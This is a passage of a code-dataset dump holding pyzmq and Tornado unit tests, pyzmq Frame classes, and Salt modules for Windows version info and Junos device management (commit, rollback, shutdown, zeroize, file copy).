self.loop.run_sync(test)\n\n @pytest.mark.skipif(not hasattr(zmq, 'RCVTIMEO'), reason=\"requires RCVTIMEO\")\n def test_recv_timeout(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n b.rcvtimeo = 100\n f1 = b.recv()\n b.rcvtimeo = 1000\n f2 = b.recv_multipart()\n with pytest.raises(zmq.Again):\n yield f1\n yield a.send_multipart([b'hi', b'there'])\n recvd = yield f2\n assert f2.done()\n self.assertEqual(recvd, [b'hi', b'there'])\n self.loop.run_sync(test)\n\n @pytest.mark.skipif(not hasattr(zmq, 'SNDTIMEO'), reason=\"requires SNDTIMEO\")\n def test_send_timeout(self):\n @gen.coroutine\n def test():\n s = self.socket(zmq.PUSH)\n s.sndtimeo = 100\n with pytest.raises(zmq.Again):\n yield s.send(b'not going anywhere')\n self.loop.run_sync(test)\n \n @pytest.mark.now\n def test_send_noblock(self):\n @gen.coroutine\n def test():\n s = self.socket(zmq.PUSH)\n with pytest.raises(zmq.Again):\n yield s.send(b'not going anywhere', flags=zmq.NOBLOCK)\n self.loop.run_sync(test)\n\n @pytest.mark.now\n def test_send_multipart_noblock(self):\n @gen.coroutine\n def test():\n s = self.socket(zmq.PUSH)\n with pytest.raises(zmq.Again):\n yield s.send_multipart([b'not going anywhere'], flags=zmq.NOBLOCK)\n self.loop.run_sync(test)\n\n def test_recv_string(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.recv_string()\n assert not f.done()\n msg = u('πøøπ')\n yield a.send_string(msg)\n recvd = yield f\n assert f.done()\n self.assertEqual(f.result(), msg)\n self.assertEqual(recvd, msg)\n self.loop.run_sync(test)\n\n def test_recv_json(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.recv_json()\n assert not f.done()\n obj = dict(a=5)\n yield a.send_json(obj)\n recvd = yield f\n assert f.done()\n self.assertEqual(f.result(), obj)\n self.assertEqual(recvd, obj)\n self.loop.run_sync(test)\n\n def test_recv_json_cancelled(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.recv_json()\n assert not f.done()\n f.cancel()\n # cycle eventloop to allow cancel events to fire\n yield gen.sleep(0)\n obj = dict(a=5)\n yield a.send_json(obj)\n with pytest.raises(future.CancelledError):\n recvd = yield f\n assert f.done()\n # give it a chance to incorrectly consume the event\n events = yield b.poll(timeout=5)\n assert events\n yield gen.sleep(0)\n # make sure cancelled recv didn't eat up event\n recvd = yield gen.with_timeout(timedelta(seconds=5), b.recv_json())\n assert recvd == obj\n self.loop.run_sync(test)\n\n def test_recv_pyobj(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.recv_pyobj()\n assert not f.done()\n obj = dict(a=5)\n yield a.send_pyobj(obj)\n recvd = yield f\n assert f.done()\n self.assertEqual(f.result(), obj)\n self.assertEqual(recvd, obj)\n self.loop.run_sync(test)\n\n def test_poll(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.poll(timeout=0)\n self.assertEqual(f.result(), 0)\n\n f = b.poll(timeout=1)\n assert not f.done()\n evt = yield f\n self.assertEqual(evt, 0)\n\n f = b.poll(timeout=1000)\n assert not f.done()\n yield a.send_multipart([b'hi', b'there'])\n evt = yield f\n self.assertEqual(evt, zmq.POLLIN)\n recvd = yield b.recv_multipart()\n self.assertEqual(recvd, [b'hi', b'there'])\n self.loop.run_sync(test)\n\n def test_poll_raw(self):\n @gen.coroutine\n def test():\n p = future.Poller()\n # make a pipe\n r, w = os.pipe()\n r = os.fdopen(r, 'rb')\n w = os.fdopen(w, 'wb')\n\n # POLLOUT\n p.register(r, zmq.POLLIN)\n p.register(w, zmq.POLLOUT)\n evts = yield p.poll(timeout=1)\n evts = dict(evts)\n assert r.fileno() not in evts\n assert w.fileno() in evts\n assert evts[w.fileno()] == zmq.POLLOUT\n\n # POLLIN\n p.unregister(w)\n w.write(b'x')\n w.flush()\n evts = yield p.poll(timeout=1000)\n evts = dict(evts)\n assert r.fileno() in evts\n assert evts[r.fileno()] == zmq.POLLIN\n assert r.read(1) == b'x'\n r.close()\n w.close()\n self.loop.run_sync(test)\n", "id": "10636591", "language": "Python", "matching_score": 3.1080119609832764, "max_stars_count": 4, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/tests/test_future.py" }, { "content": "# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\n\nimport time\nfrom unittest import TestCase\n\nimport zmq\n\nfrom zmq.tests import BaseZMQTestCase, have_gevent, GreenTest\n\n\nclass TestPubSub(BaseZMQTestCase):\n\n pass\n\n # We are disabling this test while an issue is being resolved.\n def test_basic(self):\n s1, s2 = self.create_bound_pair(zmq.PUB, zmq.SUB)\n s2.setsockopt(zmq.SUBSCRIBE,b'')\n time.sleep(0.1)\n msg1 = b'message'\n s1.send(msg1)\n msg2 = s2.recv() # This is blocking!\n self.assertEqual(msg1, msg2)\n\n def test_topic(self):\n s1, s2 = self.create_bound_pair(zmq.PUB, zmq.SUB)\n s2.setsockopt(zmq.SUBSCRIBE, b'x')\n time.sleep(0.1)\n msg1 = b'message'\n s1.send(msg1)\n self.assertRaisesErrno(zmq.EAGAIN, s2.recv, zmq.NOBLOCK)\n msg1 = b'xmessage'\n s1.send(msg1)\n msg2 = s2.recv()\n self.assertEqual(msg1, msg2)\n\nif have_gevent:\n class TestPubSubGreen(GreenTest, TestPubSub):\n pass\n", "id": "5219404", "language": "Python", "matching_score": 2.590117931365967, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/tests/test_pubsub.py" }, { "content": "# -*- coding: utf8 -*-\n# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\n\nimport sys\nimport time\n\nfrom unittest import TestCase\n\nimport zmq\nfrom zmq.eventloop import ioloop, zmqstream\n\nclass TestZMQStream(TestCase):\n \n def setUp(self):\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REP)\n self.loop = ioloop.IOLoop.instance()\n self.stream = zmqstream.ZMQStream(self.socket)\n \n def tearDown(self):\n self.socket.close()\n self.context.term()\n \n def test_callable_check(self):\n \"\"\"Ensure callable check works (py3k).\"\"\"\n \n self.stream.on_send(lambda *args: None)\n self.stream.on_recv(lambda *args: None)\n self.assertRaises(AssertionError, self.stream.on_recv, 1)\n self.assertRaises(AssertionError, self.stream.on_send, 1)\n self.assertRaises(AssertionError, self.stream.on_recv, zmq)\n \n", "id": "2822262", "language": "Python", "matching_score": 1.849343180656433, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/tests/test_zmqstream.py" }, { "content": "# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\nimport sys\nfrom unittest import TestCase\n\nclass TestImports(TestCase):\n \"\"\"Test Imports - the quickest test to ensure that we haven't\n introduced version-incompatible syntax errors.\"\"\"\n\n def test_toplevel(self):\n \"\"\"test toplevel import\"\"\"\n import zmq\n\n def test_core(self):\n \"\"\"test core imports\"\"\"\n from zmq import Context\n from zmq import Socket\n from zmq import Poller\n from zmq import Frame\n from zmq import constants\n from zmq import device, proxy\n from zmq import (\n zmq_version,\n zmq_version_info,\n pyzmq_version,\n pyzmq_version_info,\n )\n\n def test_devices(self):\n \"\"\"test device imports\"\"\"\n import zmq.devices\n from zmq.devices import basedevice\n from zmq.devices import monitoredqueue\n from zmq.devices import monitoredqueuedevice\n\n def test_log(self):\n \"\"\"test log imports\"\"\"\n import zmq.log\n from zmq.log import handlers\n\n def test_eventloop(self):\n \"\"\"test eventloop imports\"\"\"\n import zmq.eventloop\n from zmq.eventloop import ioloop\n from zmq.eventloop import zmqstream\n from zmq.eventloop.minitornado.platform import auto\n from zmq.eventloop.minitornado import ioloop\n\n def test_utils(self):\n \"\"\"test util imports\"\"\"\n import zmq.utils\n from zmq.utils import strtypes\n from zmq.utils import jsonapi\n\n def test_ssh(self):\n \"\"\"test ssh imports\"\"\"\n from zmq.ssh import tunnel\n\n def test_decorators(self):\n \"\"\"test decorators imports\"\"\"\n from zmq.decorators import context, socket\n\n\n", "id": "9805927", "language": "Python", "matching_score": 1.432906150817871, "max_stars_count": 4, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/tests/test_imports.py" }, { "content": "from __future__ import absolute_import, division, print_function, with_statement\nimport socket\n\nfrom tornado import gen\nfrom tornado.iostream import IOStream\nfrom tornado.log import app_log\nfrom tornado.stack_context import NullContext\nfrom tornado.tcpserver import TCPServer\nfrom tornado.testing import AsyncTestCase, ExpectLog, bind_unused_port, gen_test\n\n\nclass TCPServerTest(AsyncTestCase):\n @gen_test\n def test_handle_stream_coroutine_logging(self):\n # handle_stream may be a coroutine and any exception in its\n # Future will be logged.\n class TestServer(TCPServer):\n @gen.coroutine\n def handle_stream(self, stream, address):\n yield gen.moment\n stream.close()\n 1 / 0\n\n server = client = None\n try:\n sock, port = bind_unused_port()\n with NullContext():\n server = TestServer()\n server.add_socket(sock)\n client = IOStream(socket.socket())\n with ExpectLog(app_log, \"Exception in callback\"):\n yield client.connect(('localhost', port))\n yield client.read_until_close()\n yield gen.moment\n finally:\n if server is not None:\n server.stop()\n if client is not None:\n client.close()\n", "id": "9666328", "language": "Python", "matching_score": 1.9730608463287354, "max_stars_count": 184, "path": "tests/build/virtualenv/lib/python2.7/site-packages/tornado/test/tcpserver_test.py" }, { "content": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import absolute_import, division, print_function, with_statement\n\nfrom tornado import gen\nfrom tornado.testing import AsyncTestCase, gen_test\nfrom tornado.test.util import unittest, skipBefore33, skipBefore35, exec_test\n\ntry:\n from tornado.platform.asyncio import asyncio\nexcept ImportError:\n asyncio = None\nelse:\n from tornado.platform.asyncio import AsyncIOLoop, to_asyncio_future\n # This is used in dynamically-evaluated code, so silence pyflakes.\n to_asyncio_future\n\n\n@unittest.skipIf(asyncio is None, \"asyncio module not present\")\nclass AsyncIOLoopTest(AsyncTestCase):\n def get_new_ioloop(self):\n io_loop = AsyncIOLoop()\n asyncio.set_event_loop(io_loop.asyncio_loop)\n return io_loop\n\n def test_asyncio_callback(self):\n # Basic test that the asyncio loop is set up correctly.\n asyncio.get_event_loop().call_soon(self.stop)\n self.wait()\n\n @gen_test\n def test_asyncio_future(self):\n # Test that we can yield an asyncio future from a tornado coroutine.\n # Without 'yield from', we must wrap coroutines in asyncio.async.\n x = yield asyncio.async(\n asyncio.get_event_loop().run_in_executor(None, lambda: 42))\n self.assertEqual(x, 42)\n\n @skipBefore33\n @gen_test\n def test_asyncio_yield_from(self):\n # Test that we can use asyncio coroutines with 'yield from'\n # instead of asyncio.async(). This requires python 3.3 syntax.\n namespace = exec_test(globals(), locals(), \"\"\"\n @gen.coroutine\n def f():\n event_loop = asyncio.get_event_loop()\n x = yield from event_loop.run_in_executor(None, lambda: 42)\n return x\n \"\"\")\n result = yield namespace['f']()\n self.assertEqual(result, 42)\n\n @skipBefore35\n def test_asyncio_adapter(self):\n # This test demonstrates that when using the asyncio coroutine\n # runner (i.e. run_until_complete), the to_asyncio_future\n # adapter is needed. No adapter is needed in the other direction,\n # as demonstrated by other tests in the package.\n @gen.coroutine\n def tornado_coroutine():\n yield gen.Task(self.io_loop.add_callback)\n raise gen.Return(42)\n native_coroutine_without_adapter = exec_test(globals(), locals(), \"\"\"\n async def native_coroutine_without_adapter():\n return await tornado_coroutine()\n \"\"\")[\"native_coroutine_without_adapter\"]\n\n native_coroutine_with_adapter = exec_test(globals(), locals(), \"\"\"\n async def native_coroutine_with_adapter():\n return await to_asyncio_future(tornado_coroutine())\n \"\"\")[\"native_coroutine_with_adapter\"]\n\n # Use the adapter, but two degrees from the tornado coroutine.\n native_coroutine_with_adapter2 = exec_test(globals(), locals(), \"\"\"\n async def native_coroutine_with_adapter2():\n return await to_asyncio_future(native_coroutine_without_adapter())\n \"\"\")[\"native_coroutine_with_adapter2\"]\n\n # Tornado supports native coroutines both with and without adapters\n self.assertEqual(\n self.io_loop.run_sync(native_coroutine_without_adapter),\n 42)\n self.assertEqual(\n self.io_loop.run_sync(native_coroutine_with_adapter),\n 42)\n self.assertEqual(\n self.io_loop.run_sync(native_coroutine_with_adapter2),\n 42)\n\n # Asyncio only supports coroutines that yield asyncio-compatible\n # Futures.\n with self.assertRaises(RuntimeError):\n asyncio.get_event_loop().run_until_complete(\n native_coroutine_without_adapter())\n self.assertEqual(\n asyncio.get_event_loop().run_until_complete(\n native_coroutine_with_adapter()),\n 42)\n self.assertEqual(\n asyncio.get_event_loop().run_until_complete(\n native_coroutine_with_adapter2()),\n 42)\n", "id": "7023789", "language": "Python", "matching_score": 3.0552895069122314, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/tornado/test/asyncio_test.py" }, { "content": "from __future__ import absolute_import, division, print_function, with_statement\nfrom tornado.ioloop import IOLoop\nfrom tornado.netutil import ThreadedResolver\n\n# When this module is imported, it runs getaddrinfo on a thread. Since\n# the hostname is unicode, getaddrinfo attempts to import encodings.idna\n# but blocks on the import lock. Verify that ThreadedResolver avoids\n# this deadlock.\n\nresolver = ThreadedResolver()\nIOLoop.current().run_sync(lambda: resolver.resolve(u'localhost', 80))\n", "id": "9783700", "language": "Python", "matching_score": 0.36834901571273804, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/tornado/test/resolve_test_helper.py" }, { "content": "\"\"\"Dummy Frame object\"\"\"\n\n# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\nfrom ._cffi import ffi, C\n\nimport zmq\nfrom zmq.utils.strtypes import unicode\n\ntry:\n view = memoryview\nexcept NameError:\n view = buffer\n\n_content = lambda x: x.tobytes() if type(x) == memoryview else x\n\nclass Frame(object):\n _data = None\n tracker = None\n closed = False\n more = False\n buffer = None\n\n\n def __init__(self, data, track=False):\n try:\n view(data)\n except TypeError:\n raise\n\n self._data = data\n\n if isinstance(data, unicode):\n raise TypeError(\"Unicode objects not allowed. Only: str/bytes, \" +\n \"buffer interfaces.\")\n\n self.more = False\n self.tracker = None\n self.closed = False\n if track:\n self.tracker = zmq.MessageTracker()\n\n self.buffer = view(self.bytes)\n\n @property\n def bytes(self):\n data = _content(self._data)\n return data\n\n def __len__(self):\n return len(self.bytes)\n\n def __eq__(self, other):\n return self.bytes == _content(other)\n\n def __str__(self):\n if str is unicode:\n return self.bytes.decode()\n else:\n return self.bytes\n\n @property\n def done(self):\n return True\n\nMessage = Frame\n\n__all__ = ['Frame', 'Message']\n", "id": "10884347", "language": "Python", "matching_score": 2.1505401134490967, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/backend/cffi/message.py" }, { "content": "# coding: utf-8\n\"\"\"0MQ Frame pure Python methods.\"\"\"\n\n# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\n\nfrom .attrsettr import AttributeSetter\nfrom zmq.backend import Frame as FrameBase\n\n\nclass Frame(FrameBase, AttributeSetter):\n def __getitem__(self, key):\n # map Frame['User-Id'] to Frame.get('User-Id')\n return self.get(key)\n\n# keep deprecated alias\nMessage = Frame\n__all__ = ['Frame', 'Message']", "id": "12259518", "language": "Python", "matching_score": 0.3052534759044647, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/sugar/frame.py" }, { "content": "from __future__ import print_function\n\nimport os\n\nfrom functools import wraps\nfrom zmq.tests import BaseZMQTestCase\nfrom zmq.utils.win32 import allow_interrupt\n\n\ndef count_calls(f):\n @wraps(f)\n def _(*args, **kwds):\n try:\n return f(*args, **kwds)\n finally:\n _.__calls__ += 1\n _.__calls__ = 0\n return _\n\n\nclass TestWindowsConsoleControlHandler(BaseZMQTestCase):\n\n def test_handler(self):\n @count_calls\n def interrupt_polling():\n print('Caught CTRL-C!')\n\n if os.name == 'nt':\n from ctypes import windll\n from ctypes.wintypes import BOOL, DWORD\n\n kernel32 = windll.LoadLibrary('kernel32')\n\n # <http://msdn.microsoft.com/en-us/library/ms683155.aspx>\n GenerateConsoleCtrlEvent = kernel32.GenerateConsoleCtrlEvent\n GenerateConsoleCtrlEvent.argtypes = (DWORD, DWORD)\n GenerateConsoleCtrlEvent.restype = BOOL\n\n try:\n # Simulate CTRL-C event while handler is active.\n with allow_interrupt(interrupt_polling):\n result = GenerateConsoleCtrlEvent(0, 0)\n if result == 0:\n raise WindowsError\n except KeyboardInterrupt:\n pass\n else:\n self.fail('Expecting `KeyboardInterrupt` exception!')\n\n # Make sure our handler was called.\n self.assertEqual(interrupt_polling.__calls__, 1)\n else:\n # On non-Windows systems, this utility is just a no-op!\n with allow_interrupt(interrupt_polling):\n pass\n self.assertEqual(interrupt_polling.__calls__, 0)\n", "id": "7837374", "language": "Python", "matching_score": 2.162092924118042, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/tests/test_win32_shim.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nGet Versioning information from Windows\n'''\n# http://stackoverflow.com/questions/32300004/python-ctypes-getting-0-with-getversionex-function\nfrom __future__ import absolute_import\n\nimport ctypes\nfrom ctypes.wintypes import BYTE, WORD, DWORD, WCHAR\n\nkernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n\n\nclass OSVERSIONINFO(ctypes.Structure):\n _fields_ = (('dwOSVersionInfoSize', DWORD),\n ('dwMajorVersion', DWORD),\n ('dwMinorVersion', DWORD),\n ('dwBuildNumber', DWORD),\n ('dwPlatformId', DWORD),\n ('szCSDVersion', WCHAR * 128))\n\n def __init__(self, *args, **kwds):\n super(OSVERSIONINFO, self).__init__(*args, **kwds)\n self.dwOSVersionInfoSize = ctypes.sizeof(self)\n kernel32.GetVersionExW(ctypes.byref(self))\n\n\nclass OSVERSIONINFOEX(OSVERSIONINFO):\n _fields_ = (('wServicePackMajor', WORD),\n ('wServicePackMinor', WORD),\n ('wSuiteMask', WORD),\n ('wProductType', BYTE),\n ('wReserved', BYTE))\n\n\ndef errcheck_bool(result, func, args):\n if not result:\n raise ctypes.WinError(ctypes.get_last_error())\n return args\n\nkernel32.GetVersionExW.errcheck = errcheck_bool\nkernel32.GetVersionExW.argtypes = (ctypes.POINTER(OSVERSIONINFO),)\n\n\ndef get_os_version_info():\n info = OSVERSIONINFOEX()\n ret = {'MajorVersion': info.dwMajorVersion,\n 'MinorVersion': info.dwMinorVersion,\n 'BuildNumber': info.dwBuildNumber,\n 'PlatformID': info.dwPlatformId,\n 'ServicePackMajor': info.wServicePackMajor,\n 'ServicePackMinor': info.wServicePackMinor,\n 'SuiteMask': info.wSuiteMask,\n 'ProductType': info.wProductType}\n\n return ret\n", "id": "8214845", "language": "Python", "matching_score": 0.5464235544204712, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/utils/win_osinfo.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nModule for interfacing to Junos devices.\n'''\n\n# Import python libraries\nfrom __future__ import absolute_import\nimport logging\nimport json\n\n# Import salt libraries\nfrom salt.utils import fopen\n\ntry:\n from lxml import etree\nexcept ImportError:\n from salt._compat import ElementTree as etree\n\n# Juniper interface libraries\n# https://github.com/Juniper/py-junos-eznc\ntry:\n # pylint: disable=W0611\n from jnpr.junos import Device\n from jnpr.junos.utils.sw import SW\n from jnpr.junos.utils.scp import SCP\n import jnpr.junos.utils\n import jnpr.junos.cfg\n import jxmlease\n # pylint: enable=W0611\n HAS_JUNOS = True\nexcept ImportError:\n HAS_JUNOS = False\n\n# Set up logging\nlog = logging.getLogger(__name__)\n\n\n# Define the module's virtual name\n__virtualname__ = 'junos'\n\n__proxyenabled__ = ['junos']\n\n\ndef __virtual__():\n '''\n We need the Junos adapter libraries for this\n module to work. We also need a proxymodule entry in __opts__\n in the opts dictionary\n '''\n if HAS_JUNOS and 'proxy' in __opts__:\n return __virtualname__\n else:\n return (False, 'The junos module could not be \\\n loaded: junos-eznc or jxmlease or proxy could not be loaded.')\n\n\ndef facts_refresh():\n '''\n Reload the facts dictionary from the device. Usually only needed\n if the device configuration is changed by some other actor.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.facts_refresh\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n try:\n ret['message'] = conn.facts_refresh()\n\n except Exception as exception:\n ret['message'] = 'Execution failed due to \"{0}\"'.format(exception)\n ret['out'] = False\n\n return ret\n\n\ndef facts():\n '''\n Displays the facts gathered during the connection.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.facts\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['message'] = json.dumps(conn.facts)\n ret['out'] = True\n return ret\n\n\ndef rpc(cmd=None, dest=None, format='xml', *args, **kwargs):\n '''\n This function executes the rpc provided as arguments on the junos device.\n The returned data can be stored in a file whose destination can be\n specified with 'dest' keyword in the arguments.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device' junos.rpc 'get_config' 'text' filter='<configuration><system/></configuration>'\n\n salt 'device' junos.rpc 'get-interface-information' '/home/user/interface.log' interface_name='lo0' terse=True\n\n\n Options:\n * cmd: the rpc to be executed\n * dest: destination file where the rpc ouput is dumped\n * format: the format in which the rpc reply must be stored in file specified in the dest (used only when dest is specified)\n * args: other arguments as taken by rpc call of PyEZ\n * kwargs: keyworded arguments taken by rpc call of PyEZ\n '''\n\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n\n op = dict()\n if '__pub_arg' in kwargs:\n if isinstance(kwargs['__pub_arg'][-1], dict):\n op.update(kwargs['__pub_arg'][-1])\n else:\n op.update(kwargs)\n\n if dest is None and format != 'xml':\n log.warning(\n 'Format ignored as it is only used for output which is dumped in the file.')\n\n write_response = ''\n try:\n if cmd in ['get-config', 'get_config']:\n filter_reply = None\n if 'filter' in op:\n filter_reply = etree.XML(op['filter'])\n\n xml_reply = getattr(\n conn.rpc,\n cmd.replace('-',\n '_'))(filter_reply,\n options=op)\n ret['message'] = jxmlease.parse(etree.tostring(xml_reply))\n write_response = etree.tostring(xml_reply)\n\n if dest is not None and format != 'xml':\n op.update({'format': format})\n rpc_reply = getattr(\n conn.rpc,\n cmd.replace('-',\n '_'))(filter_reply,\n options=op)\n if format == 'json':\n write_response = json.dumps(rpc_reply, indent=1)\n else:\n write_response = rpc_reply.text\n else:\n\n xml_reply = getattr(conn.rpc, cmd.replace('-', '_'))(**op)\n ret['message'] = jxmlease.parse(etree.tostring(xml_reply))\n write_response = etree.tostring(xml_reply)\n\n if dest is not None and format != 'xml':\n rpc_reply = getattr(\n conn.rpc,\n cmd.replace('-',\n '_'))({'format': format},\n **op)\n if format == 'json':\n write_response = json.dumps(rpc_reply, indent=1)\n else:\n write_response = rpc_reply.text\n\n except Exception as exception:\n ret['message'] = 'Execution failed due to \"{0}\"'.format(exception)\n ret['out'] = False\n\n if dest is not None:\n with fopen(dest, 'w') as fp:\n fp.write(write_response)\n\n return ret\n\n\ndef set_hostname(hostname=None, commit_change=True):\n '''\n To set the name of the device.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.set_hostname hostname=salt-device\n\n\n Options:\n * hostname: The name to be set.\n * commit_change: Whether to commit the changes.(default=True)\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n if hostname is None:\n ret['out'] = False\n return ret\n\n # Added to recent versions of JunOs\n # Use text format instead\n set_string = 'set system host-name {0}'.format(hostname)\n conn.cu.load(set_string, format='set')\n if commit_change:\n return commit()\n else:\n ret['out'] = True\n ret['msg'] = 'set system host-name {0} is queued'.format(hostname)\n\n return ret\n\n\ndef commit():\n '''\n To commit the changes loaded in the candidate configuration.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.commit\n\n '''\n\n conn = __proxy__['junos.conn']()\n ret = {}\n commit_ok = conn.cu.commit_check()\n if commit_ok:\n try:\n conn.cu.commit(confirm=False)\n ret['out'] = True\n ret['message'] = 'Commit Successful.'\n except Exception as exception:\n ret['out'] = False\n ret['message'] = 'Pre-commit check succeeded but actual commit failed with \"{0}\"'.format(\n exception)\n else:\n ret['out'] = False\n ret['message'] = 'Pre-commit check failed.'\n\n return ret\n\n\ndef rollback():\n '''\n To rollback the last committed configuration changes\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.rollback\n\n '''\n ret = dict()\n conn = __proxy__['junos.conn']()\n\n ret['out'] = conn.cu.rollback(0)\n\n if ret['out']:\n ret['message'] = 'Rollback successful'\n else:\n ret['message'] = 'Rollback failed'\n\n return ret\n\n\ndef diff():\n '''\n Gives the difference between the candidate and the current configuration.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.diff\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n ret['message'] = conn.cu.diff()\n\n return ret\n\n\ndef ping():\n '''\n To check the connection with the device\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.ping\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['message'] = conn.probe()\n if ret['message']:\n ret['out'] = True\n else:\n ret['out'] = False\n return ret\n\n\ndef cli(command=None):\n '''\n Executes the CLI commands and reuturns the text output.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.cli 'show version'\n\n\n Options:\n * command: The command that need to be executed on Junos CLI.\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['message'] = conn.cli(command)\n ret['out'] = True\n return ret\n\n\ndef shutdown(time=0):\n '''\n Shuts down the device after the given time.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.shutdown 10\n\n\n Options:\n * time: Time in seconds after which the device should shutdown (default=0)\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n sw = SW(conn)\n try:\n shut = sw.poweroff()\n shut(time)\n ret['message'] = 'Successfully powered off.'\n ret['out'] = False\n except Exception as exception:\n ret['message'] = 'Could not poweroff'\n ret['out'] = False\n\n return ret\n\n\ndef install_config(path=None, **kwargs):\n '''\n Installs the given configuration file into the candidate configuration.\n Commits the changes if the commit checks or throws an error.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.install_config '/home/user/config.set' timeout=300\n\n\n Options:\n * path: Path where the configuration file is present.\n * kwargs: keyworded arguments taken by load fucntion of PyEZ\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n\n if 'timeout' in kwargs:\n conn.timeout = kwargs['timeout']\n\n options = {'path': path}\n\n try:\n conn.cu.load(**options)\n conn.cu.pdiff()\n\n except Exception as exception:\n ret['message'] = 'Could not load configuration due to : \"{0}\"'.format(\n exception)\n ret['out'] = False\n\n if conn.cu.commit_check():\n ret['message'] = 'Successfully loaded and committed!'\n conn.cu.commit()\n else:\n ret['message'] = 'Commit check failed.'\n ret['out'] = False\n conn.cu.rollback()\n\n return ret\n\n\ndef zeroize():\n '''\n Resets the device to default factory settings\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.zeroize\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n try:\n conn.cli('request system zeroize')\n ret['message'] = 'Completed zeroize and rebooted'\n except Exception as exception:\n ret['message'] = 'Could not zeroize due to : \"{0}\"'.format(exception)\n ret['out'] = False\n\n return ret\n\n\ndef install_os(path=None, **kwargs):\n '''\n Installs the given image on the device. After the installation is complete the device is rebooted,\n if reboot=True is given as a keyworded argument.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.install_os '/home/user/junos_image.tgz' reboot=True\n\n\n Options\n * path: Path where the image file is present.\n * kwargs: keyworded arguments to be given such as timeout, reboot etc\n\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n\n if 'timeout' in kwargs:\n conn.timeout = kwargs['timeout']\n\n try:\n install = conn.sw.install(path, progress=True)\n ret['message'] = 'Installed the os.'\n except Exception as exception:\n ret['message'] = 'Installation failed due to : \"{0}\"'.format(exception)\n ret['out'] = False\n\n if 'reboot' in kwargs and kwargs['reboot'] is True:\n rbt = conn.sw.reboot()\n ret['message'] = 'Successfully installed and rebooted!'\n\n return ret\n\n\ndef file_copy(src=None, dest=None):\n '''\n Copies the file from the local device to the junos device.\n\n Usage:\n\n .. code-block:: bash\n\n salt 'device_name' junos.file_copy /home/m2/info.txt info_copy.txt\n\n\n Options\n * src: The sorce path where the file is kept.\n * dest: The destination path where the file will be copied.\n '''\n conn = __proxy__['junos.conn']()\n ret = dict()\n ret['out'] = True\n try:\n with SCP(conn, progress=True) as scp:\n scp.put(src, dest)\n ret['message'] = 'Successfully copied file from {0} to {1}'.format(\n src, dest)\n\n except Exception as exception:\n ret['message'] = 'Could not copy file : \"{0}\"'.format(exception)\n ret['out'] = False\n\n return ret\n", "id": "10696746", "language": "Python", "matching_score": 3.062039613723755, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/modules/junos.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nModule for working with DSC (Alpha)\n\n:depends:\n - PowerShell 5.0\n'''\nfrom __future__ import absolute_import, 